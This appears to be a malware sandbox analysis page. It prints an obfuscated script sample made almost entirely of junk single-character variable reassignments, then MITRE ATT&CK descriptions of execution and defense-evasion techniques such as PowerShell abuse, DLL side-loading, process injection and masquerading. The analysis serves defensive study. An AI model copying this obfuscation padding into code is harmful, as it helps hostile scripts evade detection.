296	utlajtrp = "W";
297	utlajtrp = "T";
298	utlajtrp = "n";
299	utlajtrp = "K";
300	utlajtrp = "T";
301	utlajtrp = "F";
302	utlajtrp = "L";
303	utlajtrp = "t";
304	utlajtrp = "p";
305	utlajtrp = "X";
306	utlajtrp = "Z";
307	utlajtrp = "I";
308	utlajtrp = "F";
309	utlajtrp = "s";
310	utlajtrp = "b";
311	rjvkx = "i";
312	rjvkx = "B";
313	rjvkx = "R";
314	rjvkx = "E";
315	rjvkx = "p";
316	rjvkx = "b";
317	rjvkx = "c";
318	rjvkx = "h";
319	rjvkx = "d";
320	rjvkx = "F";
321	rjvkx = "X";
322	rjvkx = "M";
323	rjvkx = "U";
324	rjvkx = "b";
325	rjvkx = "P";
326	rjvkx = "S";
327	rjvkx = "x";
328	rjvkx = "N";
329	rjvkx = "U";
330	rjvkx = "K";
331	rjvkx = "p";
332	rjvkx = "a";
333	rjvkx = "n";
334	rjvkx = "Q";
335	rjvkx = "8";
336	cjqrem = "d";
337	cjqrem = "B";
338	cjqrem = "U";
339	cjqrem = "b";
340	cjqrem = "W";
341	cjqrem = "V";
342	cjqrem = "L";
343	cjqrem = "j";
344	cjqrem = "T";
345	cjqrem = "Q";
346	cjqrem = "z";
347	cjqrem = "M";
348	cjqrem = "L";
349	cjqrem = "A";
350	cjqrem = "Z";
351	cjqrem = "D";
352	cjqrem = "P";
353	cjqrem = "W";
354	cjqrem = "X";
355	cjqrem = "e";
356	cjqrem = "I";
357	cjqrem = "a";
358	cjqrem = "n";
359	cjqrem = "K";
360	cjqrem = "o";
361	cjqrem = "b";
362	cjqrem = "u";
363	cjqrem = "u";
364	cjqrem = "x";
365	shabuja = "d";
366	shabuja = "Q";
367	shabuja = "s";
368	shabuja = "E";
369	shabuja = "S";
370	shabuja = "z";
371	shabuja = "X";
372	shabuja = "i";
373	shabuja = "Z";
374	shabuja = "m";
375	shabuja = "I";
376	shabuja = "j";
377	shabuja = "m";
378	shabuja = "b";
379	shabuja = "k";
380	shabuja = "V";
381	shabuja = "t";
382	shabuja = "N";
383	shabuja = "w";
384	shabuja = "f";
385	shabuja = "q";
386	shabuja = "x";
387	shabuja = "t";
388	shabuja = "B";
389	shabuja = "L";
390	shabuja = "c";
391	shabuja = "E";
392	shabuja = "Q";
393	shabuja = "m";
394	shabuja = "Q";
395	shabuja = "A";
396	shabuja = "f";
397	shabuja = "I";
398	shabuja = "c";
399	shabuja = "w";
400	shabuja = "T";
401	shabuja = "k";
402	shabuja = "F";
403	tnrrexwvv = "y";
404	tnrrexwvv = "a";
405	tnrrexwvv = "D";
406	tnrrexwvv = "r";
407	tnrrexwvv = "g";
408	ppojho = "d";
409	ppojho = "A";
410	ppojho = "u";
411	ppojho = "H";
412	ppojho = "b";
413	ppojho = "a";
414	ppojho = "O";
415	ppojho = "L";
416	oaoiosbtn = "i";
417	oaoiosbtn = "b";
418	oaoiosbtn = "U";
419	oaoiosbtn = "p";
420	oaoiosbtn = "j";
421	oaoiosbtn = "R";
422	oaoiosbtn = "R";
423	oaoiosbtn = "Y";
424	oaoiosbtn = "K";
425	oaoiosbtn = "H";
426	oaoiosbtn = "z";
427	oaoiosbtn = "L";
428	oaoiosbtn = "a";
429	oaoiosbtn = "A";
430	oaoiosbtn = "B";
431	oaoiosbtn = "s";
432	oaoiosbtn = "t";
433	oaoiosbtn = "I";
434	oaoiosbtn = "e";
435	oaoiosbtn = "t";
436	oaoiosbtn = "R";
437	oaoiosbtn = "X";
438	oaoiosbtn = "j";
439	oaoiosbtn = "E";
440	drwvs = "k";
441	drwvs = "d";
442	drwvs = "w";
443	drwvs = "J";
444	drwvs = "h";
445	drwvs = "h";
446	drwvs = "l";
447	drwvs = "I";
448	drwvs = "k";
449	drwvs = "L";
450	drwvs = "m";
451	drwvs = "J";
452	drwvs = "B";
453	drwvs = "O";
454	drwvs = "I";
455	drwvs = "D";
456	drwvs = "r";
457	drwvs = "l";
458	drwvs = "s";
459	drwvs = "d";
460	drwvs = "O";
461	drwvs = "p";
462	drwvs = "W";
463	drwvs = "f";
464	drwvs = "a";
465	drwvs = "h";
466	drwvs = "S";
467	drwvs = "X";
468	drwvs = "Q";
469	drwvs = "K";
470	drwvs = "a";
471	drwvs = "W";
472	drwvs = "B";
473	drwvs = "H";
474	drwvs = "s";
475	drwvs = "x";
476	drwvs = "S";
477	jwrydjpk = "j";
478	jwrydjpk = "u";
479	jwrydjpk = "e";
480	jwrydjpk = "n";
481	jwrydjpk = "w";
482	jwrydjpk = "N";
483	jwrydjpk = "i";
484	jwrydjpk = "e";
485	jwrydjpk = "q";
486	jwrydjpk = "T";
487	kxizmhqfi = "W";
488	kxizmhqfi = "x";
489	kxizmhqfi = "i";
490	kxizmhqfi = "G";
491	kxizmhqfi = "Q";
492	kxizmhqfi = "E";
493	kxizmhqfi = "a";
494	kxizmhqfi = "P";
495	kxizmhqfi = "J";
496	kxizmhqfi = "N";
497	flqwiuocf = ":";
498	jxnjvdt = "C";
499	jxnjvdt = "a";
500	mwigm = "o";
501	mwigm = "u";
502	mwigm = "k";
503	mwigm = "K";
504	mwigm = "o";
505	mwigm = "o";
506	mwigm = "b";
507	mwigm = "v";
508	mwigm = "r";
509	mwigm = "d";
510	mwigm = "t";
511	mwigm = "w";
512	mwigm = "N";
513	mwigm = "Q";
514	mwigm = "z";
515	mwigm = "h";
516	mwigm = "W";
517	mwigm = "e";
518	mwigm = "I";
519	mwigm = "o";
520	mwigm = "W";
521	mwigm = "m";
522	mwigm = "S";
523	mwigm = "E";
524	mwigm = "s";
525	mwigm = "g";
526	mwigm = "b";
527	mwigm = "Y";
528	mwigm = "Y";
529	mwigm = "V";
530	mwigm = "G";
531	mwigm = "W";
532	mwigm = "e";
533	mwigm = "I";
534	mwigm = "Q";
535	eemukiuhq = "e";
536	eemukiuhq = "Q";
537	eemukiuhq = "n";
538	eemukiuhq = "H";
539	eemukiuhq = "V";
540	eemukiuhq = "F";
541	eemukiuhq = "W";
542	eemukiuhq = "n";
543	eemukiuhq = "o";
544	eemukiuhq = "S";
545	eemukiuhq = "r";
546	eemukiuhq = "U";
547	eemukiuhq = "a";
548	eemukiuhq = "r";
549	eemukiuhq = "c";
550	eemukiuhq = "A";
551	eemukiuhq = "l";
552	eemukiuhq = "B";
553	eemukiuhq = "w";
554	eemukiuhq = "U";
555	eemukiuhq = "A";
556	eemukiuhq = "z";
557	eemukiuhq = "M";
558	eemukiuhq = "A";
559	eemukiuhq = "p";
560	eemukiuhq = "f";
561	eemukiuhq = "o";
562	eemukiuhq = "X";
563	eemukiuhq = "b";
564	eemukiuhq = "k";
565	eemukiuhq = "S";
566	eemukiuhq = "K";
567	eemukiuhq = "B";
568	eemukiuhq = "P";
569	eemukiuhq = "o";
570	eemukiuhq = "x";
571	eemukiuhq = "D";
572	eemukiuhq = "s";
573	eemukiuhq = "I";
574	eemukiuhq = "h";
575	eemukiuhq = "Y";
576	eemukiuhq = "x";
577	eemukiuhq = "J";
578	eemukiuhq = "Y";
579	vrvrzu = "S";
580	vrvrzu = "w";
581	vrvrzu = "@";
582	tphhdv = "a";
583	tphhdv = "p";
584	tphhdv = "s";
585	tphhdv = "x";
586	tphhdv = "G";
587	tphhdv = "u";
588	tphhdv = "g";
589	tphhdv = "t";
590	tphhdv = "x";
591	tphhdv = "N";
592	tphhdv = "P";
593	tphhdv = "a";
594	tphhdv = "U";
595	tphhdv = "h";
596	tphhdv = "z";
597	tphhdv = "K";
598	tphhdv = "c";
599	tphhdv = "a";
600	tphhdv = "I";
601	tphhdv = "b";
602	tphhdv = "J";
603	tphhdv = "R";
604	tphhdv = "U";
605	drltwmunq = "S";
606	drltwmunq = "r";
607	drltwmunq = "k";
608	drltwmunq = "k";
609	drltwmunq = "t";
610	drltwmunq = "P";
611	drltwmunq = "K";
612	drltwmunq = "e";
613	drltwmunq = "L";
614	drltwmunq = "N";
615	drltwmunq = "p";
616	drltwmunq = "O";
617	drltwmunq = "P";
618	drltwmunq = "i";
619	drltwmunq = "Z";
620	drltwmunq = "h";
621	drltwmunq = "K";
622	drltwmunq = "y";
623	drltwmunq = "k";
624	drltwmunq = "x";
625	drltwmunq = "f";
626	drltwmunq = "k";
627	drltwmunq = "g";
628	drltwmunq = "n";
629	drltwmunq = "W";
630	drltwmunq = "r";
631	drltwmunq = "R";
632	drltwmunq = "Q";
633	drltwmunq = "X";
634	drltwmunq = "y";
635	drltwmunq = "j";
636	drltwmunq = "S";
637	drltwmunq = "o";
638	drltwmunq = "j";
639	drltwmunq = "H";
640	drltwmunq = "p";
641	alnpze = "f";
642	alnpze = "P";
643	alnpze = "x";
644	alnpze = "k";
645	alnpze = "G";
646	alnpze = "Z";
647	alnpze = "V";
648	alnpze = "y";
649	alnpze = "r";
650	alnpze = "K";
651	alnpze = "Z";
652	alnpze = "K";
653	alnpze = "E";
654	alnpze = "a";
655	alnpze = "p";
656	alnpze = "9";
657	zwjmmjzm = "r";
658	zwjmmjzm = "W";
659	zwjmmjzm = "J";
660	zwjmmjzm = "b";
661	zwjmmjzm = "C";
662	zwjmmjzm = "G";
663	zwjmmjzm = "G";
664	zwjmmjzm = "W";
665	zwjmmjzm = "V";
666	zwjmmjzm = "O";
667	zwjmmjzm = "n";
668	zwjmmjzm = "M";
669	zwjmmjzm = "r";
670	zwjmmjzm = "g";
671	zwjmmjzm = "P";
672	zwjmmjzm = "y";
673	zwjmmjzm = "Q";
674	zwjmmjzm = "a";
675	zwjmmjzm = "k";
676	zwjmmjzm = "T";
677	zwjmmjzm = "j";
678	zwjmmjzm = "T";
679	zwjmmjzm = "I";
680	zwjmmjzm = "s";
681	zwjmmjzm = "c";
682	zwjmmjzm = "R";
683	zwjmmjzm = "k";
684	zwjmmjzm = "f";
685	zwjmmjzm = "O";
686	zwjmmjzm = "S";
687	zwjmmjzm = "N";
688	zwjmmjzm = "d";
689	zwjmmjzm = "f";
690	gvuezt = "L";
691	gvuezt = "R";
692	gvuezt = "M";
693	gvuezt = "K";
694	gvuezt = "W";
695	gvuezt = "H";
696	gvuezt = "c";
697	gvuezt = "q";
698	gvuezt = "p";
699	gvuezt = "Y";
700	gvuezt = "N";
701	gvuezt = "u";
702	gvuezt = "T";
703	gvuezt = "G";
704	gvuezt = "D";
705	gvuezt = "R";
706	gvuezt = "m";
707	gvuezt = "q";
708	gvuezt = "K";
709	gvuezt = "V";
710	gvuezt = "j";
711	gvuezt = "o";
712	eogdhlz = "a";
713	eogdhlz = "P";
714	eogdhlz = "t";
715	eogdhlz = "K";
716	eogdhlz = "j";
717	eogdhlz = "u";
718	eogdhlz = "M";
719	eogdhlz = "r";
720	eogdhlz = "t";
721	eogdhlz = "n";
722	eogdhlz = "b";
723	eogdhlz = "q";
724	eogdhlz = "y";
725	eogdhlz = "T";
726	eogdhlz = "P";
727	eogdhlz = "P";
728	eogdhlz = "F";
729	eogdhlz = "V";
730	eogdhlz = "Z";
731	eogdhlz = "b";
732	eogdhlz = "D";
733	eogdhlz = "N";
734	eogdhlz = "N";
735	eogdhlz = "g";
736	eogdhlz = "y";
737	eogdhlz = "x";
738	eogdhlz = "U";
739	eogdhlz = "g";
740	eogdhlz = "&";
741	yiqnb = "w";
742	yiqnb = "n";
743	yiqnb = "E";
744	yiqnb = "n";
745	yiqnb = "w";
746	yiqnb = "K";
747	yiqnb = "z";
748	yiqnb = "d";
749	yiqnb = "L";
750	yiqnb = "R";
751	yiqnb = "U";
752	yiqnb = "c";
753	yiqnb = "O";
754	yiqnb = "R";
755	yiqnb = "c";
756	yiqnb = "w";
757	yiqnb = "P";
758	yiqnb = "o";
759	yiqnb = "O";
760	yiqnb = "u";
761	yiqnb = "B";
762	yiqnb = "V";
763	yiqnb = "o";
764	yiqnb = "A";
765	yiqnb = "O";
766	yiqnb = "U";
767	yiqnb = "K";
768	yiqnb = "Q";
769	yiqnb = "K";
770	yiqnb = "y";
771	yiqnb = "g";
772	yiqnb = "O";
773	wxcwqg = "d";
774	wxcwqg = "c";
775	wxcwqg = "d";
776	wxcwqg = "S";
777	wxcwqg = "w";
778	wxcwqg = "4";
779	lybbfdtth = "w";
780	lybbfdtth = "s";
781	lybbfdtth = "G";
782	lybbfdtth = "y";
783	lybbfdtth = "g";
784	lybbfdtth = "J";
785	lybbfdtth = "H";
786	lybbfdtth = "L";
787	lybbfdtth = "O";
788	lybbfdtth = "Q";
789	lybbfdtth = "O";
790	lybbfdtth = "P";
791	lybbfdtth = "W";
792	plitcqe = "T";
793	plitcqe = "G";
794	plitcqe = "u";
795	ahfit = "n";
796	ahfit = "0";
797	mbtucurp = "r";
798	pddqzr = "K";
799	pddqzr = "X";
800	pddqzr = "x";
801	pddqzr = "Z";
802	pddqzr = "c";
803	pddqzr = "l";
804	pddqzr = "Z";
805	pddqzr = "K";
806	pddqzr = "A";
807	pddqzr = "m";
808	pddqzr = "h";
809	pddqzr = "D";
810	pddqzr = "T";
811	pddqzr = "I";
812	pddqzr = "S";
813	pddqzr = "u";
814	pddqzr = "j";
815	pddqzr = "F";
816	pddqzr = "D";
817	pddqzr = "V";
818	pddqzr = "C";
819	pddqzr = "d";
820	pddqzr = "r";
821	pddqzr = "X";
822	pddqzr = "g";
823	pddqzr = "x";
824	pddqzr = "g";
825	pddqzr = "d";
826	ybedbzpd = "E";
827	ybedbzpd = "m";
828	ybedbzpd = "Q";
829	ybedbzpd = "O";
830	ybedbzpd = "Q";
831	ybedbzpd = "O";
832	ybedbzpd = "G";
833	ybedbzpd = "S";
834	ybedbzpd = "c";
835	ybedbzpd = "y";
836	ybedbzpd = "k";
837	ybedbzpd = "O";
838	ybedbzpd = "f";
839	ybedbzpd = "y";
840	ybedbzpd = "J";
841	ybedbzpd = "j";
842	ybedbzpd = "M";
843	ybedbzpd = "C";
844	ybedbzpd = "S";
845	ybedbzpd = "m";
846	ybedbzpd = "j";
847	ybedbzpd = "C";
848	ybedbzpd = "c";
849	ybedbzpd = "G";
850	ybedbzpd = "S";
851	ybedbzpd = "N";
852	ybedbzpd = "L";
853	ybedbzpd = "P";
854	ybedbzpd = "T";
855	ybedbzpd = "j";
856	ybedbzpd = "U";
857	ybedbzpd = "Q";
858	ybedbzpd = "r";
859	ybedbzpd = "l";
860	nlnhpxci = "k";
861	nlnhpxci = "T";
862	nlnhpxci = "V";
863	nlnhpxci = "Y";
864	nlnhpxci = "h";
865	nlnhpxci = "f";
866	nlnhpxci = "N";
867	nlnhpxci = "t";
868	nlnhpxci = "n";
869	nlnhpxci = "U";
870	nlnhpxci = "e";
871	nlnhpxci = "R";
872	nlnhpxci = "H";
873	nlnhpxci = "P";
874	nlnhpxci = " ";
875	vqmga = "J";
876	vqmga = "D";
877	vqmga = "m";
878	vqmga = "Q";
879	vqmga = "C";
880	vqmga = "h";
881	vqmga = "s";
882	vqmga = "b";
883	vqmga = "n";
884	vqmga = "p";
885	vqmga = "L";
886	vqmga = "z";
887	vqmga = "Q";
888	vqmga = "r";
889	vqmga = "H";
890	vqmga = "V";
891	vqmga = "c";
892	vqmga = "U";
893	vqmga = "o";
894	vqmga = "I";
895	vqmga = "x";
896	vqmga = "E";
897	vqmga = "Y";
898	vqmga = "K";
899	vqmga = "v";
900	vqmga = "C";
901	vqmga = "T";
902	vqmga = "R";
903	vqmga = "A";
904	vqmga = "z";
905	vqmga = "v";
906	vqmga = "a";
907	vqmga = "l";
908	vqmga = "Y";
909	vqmga = "W";
910	vqmga = "I";
911	vqmga = "D";
912	vqmga = "N";
913	vqmga = "c";
914	vqmga = "u";
915	vqmga = "S";
916	vqmga = "I";
917	vqmga = "N";
918	vqmga = "3";
919	cyaptew = "M";
920	cyaptew = "c";
921	cyaptew = "\\";
922	phfuss = "N";
923	phfuss = "O";
924	phfuss = "t";
925	phfuss = "w";
926	phfuss = "5";
927	nabosb = "w";
928	nabosb = "C";
929	nabosb = "D";
930	nabosb = "w";
931	nxmslo = "z";
932	nxmslo = "g";
933	nxmslo = "I";
934	nxmslo = "s";
935	nxmslo = "p";
936	nxmslo = "v";
937	nxmslo = "y";
938	nxmslo = "E";
939	nxmslo = "c";
940	nxmslo = "m";
941	nxmslo = "p";
942	nxmslo = "h";
943	nxmslo = "K";
944	nxmslo = "J";
945	nxmslo = "A";
946	nxmslo = "e";
947	nxmslo = "W";
948	nxmslo = "R";
949	nxmslo = "H";
950	nxmslo = "s";
951	nxmslo = "l";
952	nxmslo = "Z";
953	nxmslo = "U";
954	nxmslo = "h";
955	nxmslo = "j";
956	nxmslo = "f";
957	nxmslo = "N";
958	nxmslo = "e";
959	nxmslo = "y";
960	nxmslo = "e";
961	nxmslo = "s";
962	nxmslo = "P";
963	dlknze = "Q";
964	dlknze = "i";
965	dlknze = "r";
966	dlknze = "F";
967	dlknze = "J";
968	dlknze = "L";
969	dlknze = "d";
970	dlknze = "e";
971	dlknze = "F";
972	dlknze = "n";
973	dlknze = "Q";
974	dlknze = "l";
975	dlknze = "K";
976	dlknze = "Y";
977	dlknze = "d";
978	dlknze = "U";
979	dlknze = "y";
980	dlknze = "l";
981	dlknze = "L";
982	dlknze = "V";
983	dlknze = "O";
984	dlknze = "C";
985	dlknze = "W";
986	dlknze = "y";
987	dlknze = "p";
988	dlknze = "J";
989	dlknze = "C";
990	dlknze = "p";
991	dlknze = "t";
992	dlknze = "u";
993	dlknze = "i";
994	dlknze = "c";
995	dlknze = "o";
996	dlknze = "O";
997	dlknze = "t";
998	dlknze = "Y";
999	dlknze = "V";
1000	dlknze = "u";
1001	dlknze = "o";
1002	dlknze = "m";
1003	dlknze = "m";
1004	dlknze = "L";
1005	dlknze = "e";
1006	yymxrsry = "l";
1007	yymxrsry = "m";
1008	yymxrsry = "p";
1009	yymxrsry = "U";
1010	yymxrsry = "D";
1011	yymxrsry = "A";
1012	yymxrsry = "O";
1013	yymxrsry = "X";
1014	yymxrsry = "b";
1015	yymxrsry = "y";
1016	yymxrsry = "s";
1017	yymxrsry = "G";
1018	yymxrsry = "P";
1019	yymxrsry = "w";
1020	yymxrsry = "t";
1021	yymxrsry = "b";
1022	yymxrsry = "k";
1023	yymxrsry = "r";
1024	yymxrsry = "M";
1025	yymxrsry = "p";
1026	yymxrsry = "%";
1027	gikfhd = "n";
1028	gikfhd = "Z";
1029	gikfhd = "b";
1030	gikfhd = "x";
1031	gikfhd = "I";
1032	gikfhd = "R";
1033	gikfhd = "A";
1034	gikfhd = "n";
1035	gikfhd = "Y";
1036	gikfhd = "Q";
1037	gikfhd = "g";
1038	gikfhd = "v";
1039	gikfhd = "H";
1040	gikfhd = "W";
1041	gikfhd = "g";
1042	gikfhd = "C";
1043	xcfjb = "P";
1044	xcfjb = "x";
1045	xcfjb = "R";
1046	xcfjb = "b";
1047	xcfjb = "m";
1048	xcfjb = "s";
1049	xcfjb = "F";
1050	xcfjb = "T";
1051	xcfjb = "t";
1052	xcfjb = "z";
1053	xcfjb = "b";
1054	xcfjb = "y";
1055	xcfjb = "l";
1056	xcfjb = "P";
1057	xcfjb = "c";
1058	xcfjb = "j";
1059	xcfjb = "I";
1060	xcfjb = "x";
1061	xcfjb = "v";
1062	xcfjb = "C";
1063	xcfjb = "v";
1064	xcfjb = "D";
1065	xcfjb = "a";
1066	xcfjb = "g";
1067	xcfjb = "Z";
1068	xcfjb = "g";
1069	xcfjb = "H";
1070	xcfjb = "g";
1071	xcfjb = "R";
1072	xcfjb = "m";
1073	xcfjb = "h";
1074	xcfjb = "x";
1075	xcfjb = "q";
1076	xcfjb = "A";
1077	xcfjb = "t";
1078	xcfjb = "o";
1079	xcfjb = "J";
1080	xcfjb = "x";
1081	xcfjb = "b";
1082	xcfjb = "N";
1083	xcfjb = "Y";
1084	xcfjb = "M";
1085	xcfjb = "B";
1086	xcfjb = "I";
1087	brlzyden = "D";
1088	brlzyden = "e";
1089	brlzyden = "U";
1090	brlzyden = "j";
1091	rejeiuqc = "g";
1092	rejeiuqc = "c";
1093	rejeiuqc = "I";
1094	rejeiuqc = "e";
1095	rejeiuqc = "G";
1096	rejeiuqc = "L";
1097	rejeiuqc = "k";
1098	rejeiuqc = "S";
1099	rejeiuqc = "O";
1100	rejeiuqc = "m";
1101	rejeiuqc = "G";
1102	rejeiuqc = "r";
1103	rejeiuqc = "S";
1104	rejeiuqc = "N";
1105	rejeiuqc = "c";
1106	rejeiuqc = "q";
1107	rejeiuqc = "Z";
1108	rejeiuqc = "t";
1109	rejeiuqc = "v";
1110	rejeiuqc = "Y";
1111	rejeiuqc = "r";
1112	rejeiuqc = "r";
1113	rejeiuqc = "o";
1114	rejeiuqc = "V";
1115	rejeiuqc = "k";
1116	rejeiuqc = "w";
1117	rejeiuqc = "X";
1118	rejeiuqc = "c";
1119	rejeiuqc = "g";
1120	rejeiuqc = "1";
1121	hontsrcv = "X";
1122	hontsrcv = "y";
1123	hontsrcv = "H";
1124	hontsrcv = "b";
1125	hontsrcv = "c";
1126	ksaddvm = "h";
1127	ksaddvm = "Q";
1128	ksaddvm = "q";
1129	ksaddvm = "K";
1130	ksaddvm = "T";
1131	ksaddvm = "X";
1132	ksaddvm = "k";
1133	ksaddvm = "r";
1134	ksaddvm = "T";
1135	ksaddvm = "f";
1136	ksaddvm = "p";
1137	ksaddvm = "M";
1138	ksaddvm = "l";
1139	ksaddvm = "U";
1140	ksaddvm = "s";
1141	ksaddvm = "Q";
1142	ksaddvm = "v";
1143	axwpvuus = "K";
1144	axwpvuus = "r";
1145	axwpvuus = "X";
1146	axwpvuus = "p";
1147	axwpvuus = "d";
1148	axwpvuus = "C";
1149	axwpvuus = "J";
1150	axwpvuus = "r";
1151	axwpvuus = "F";
1152	axwpvuus = "f";
1153	axwpvuus = "P";
1154	axwpvuus = "I";
1155	axwpvuus = "R";
1156	axwpvuus = "h";
1157	axwpvuus = "w";
1158	axwpvuus = "V";
1159	axwpvuus = "Y";
1160	axwpvuus = "y";
1161	axwpvuus = "i";
1162	axwpvuus = "L";
1163	axwpvuus = "C";
1164	axwpvuus = "n";
1165	dmxdfe = "K";
1166	dmxdfe = "I";
1167	dmxdfe = "e";
1168	dmxdfe = "Z";
1169	dmxdfe = "c";
1170	dmxdfe = "F";
1171	dmxdfe = "J";
1172	dmxdfe = "d";
1173	dmxdfe = "O";
1174	dmxdfe = "j";
1175	dmxdfe = "j";
1176	dmxdfe = "V";
1177	dmxdfe = "l";
1178	dmxdfe = "n";
1179	dmxdfe = "t";
1180	dmxdfe = "s";
1181	dmxdfe = "D";
1182	dmxdfe = "F";
1183	dmxdfe = "T";
1184	dmxdfe = "f";
1185	dmxdfe = "b";
1186	dmxdfe = "X";
1187	dmxdfe = "C";
1188	dmxdfe = "D";
1189	dmxdfe = "y";
1190	dmxdfe = "C";
1191	dmxdfe = "f";
1192	dmxdfe = "n";
1193	dmxdfe = "t";
1194	vppovahk = "y";
1195	vppovahk = "D";
1196	vppovahk = "h";
1197	vppovahk = "O";
1198	vppovahk = "K";
1199	vppovahk = "U";
1200	vppovahk = "a";
1201	vppovahk = "q";
1202	vppovahk = "s";
1203	vppovahk = "O";
1204	vppovahk = "D";
1205	vppovahk = "c";
1206	vppovahk = "O";
1207	vppovahk = "h";
1208	vppovahk = "L";
1209	vppovahk = "V";
1210	vppovahk = "P";
1211	vppovahk = "Q";
1212	vppovahk = "X";
1213	vppovahk = "t";
1214	vppovahk = "e";
1215	vppovahk = "M";
1216	vppovahk = "u";
1217	vppovahk = "f";
1218	vppovahk = "M";
1219	vppovahk = "S";
1220	vppovahk = "H";
1221	vppovahk = "d";
1222	vppovahk = "C";
1223	vppovahk = "c";
1224	vppovahk = "w";
1225	vppovahk = "l";
1226	vppovahk = "J";
1227	vppovahk = "F";
1228	vppovahk = "G";
1229	vppovahk = "_";
1230	ebqtdo = "b";
1231	ebqtdo = "P";
1232	ebqtdo = "l";
1233	ebqtdo = "S";
1234	ebqtdo = "H";
1235	ebqtdo = "L";
1236	ebqtdo = "v";
1237	ebqtdo = "t";
1238	ebqtdo = "H";
1239	ebqtdo = "h";
1240	ebqtdo = "P";
1241	ebqtdo = "e";
1242	ebqtdo = "n";
1243	ebqtdo = "k";
1244	ebqtdo = "r";
1245	ebqtdo = "y";
1246	ebqtdo = "o";
1247	ebqtdo = "X";
1248	ebqtdo = "d";
1249	ebqtdo = "U";
1250	ebqtdo = "D";
1251	ebqtdo = "J";
1252	ebqtdo = "p";
1253	ebqtdo = "f";
1254	ebqtdo = "u";
1255	ebqtdo = "G";
1256	ebqtdo = "d";
1257	ebqtdo = "V";
1258	ebqtdo = "d";
1259	ebqtdo = "d";
1260	ebqtdo = "R";
1261	mgntvwkpp = "Y";
1262	mgntvwkpp = "T";
1263	mgntvwkpp = "J";
1264	mgntvwkpp = "j";
1265	mgntvwkpp = "r";
1266	mgntvwkpp = "V";
1267	mgntvwkpp = "r";
1268	mgntvwkpp = "r";
1269	mgntvwkpp = "P";
1270	mgntvwkpp = "G";
1271	mgntvwkpp = "x";
1272	mgntvwkpp = "j";
1273	mgntvwkpp = "d";
1274	mgntvwkpp = "h";
1275	mgntvwkpp = "S";
1276	mgntvwkpp = "s";
1277	mgntvwkpp = "j";
1278	mgntvwkpp = "s";
1279	mgntvwkpp = "R";
1280	mgntvwkpp = "k";
1281	mgntvwkpp = "B";
1282	mgntvwkpp = "i";
1283	vcesmwxla = "X";
1284	vcesmwxla = "r";
1285	vcesmwxla = "R";
1286	vcesmwxla = "k";
1287	vcesmwxla = "x";
1288	vcesmwxla = "Z";
1289	vcesmwxla = "B";
1290	vcesmwxla = "Q";
1291	vcesmwxla = "\"";
1292	nqnrn = "v";
1293	nqnrn = "-";
1294	edxbrmgdy ( );	edxbrmgdy() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

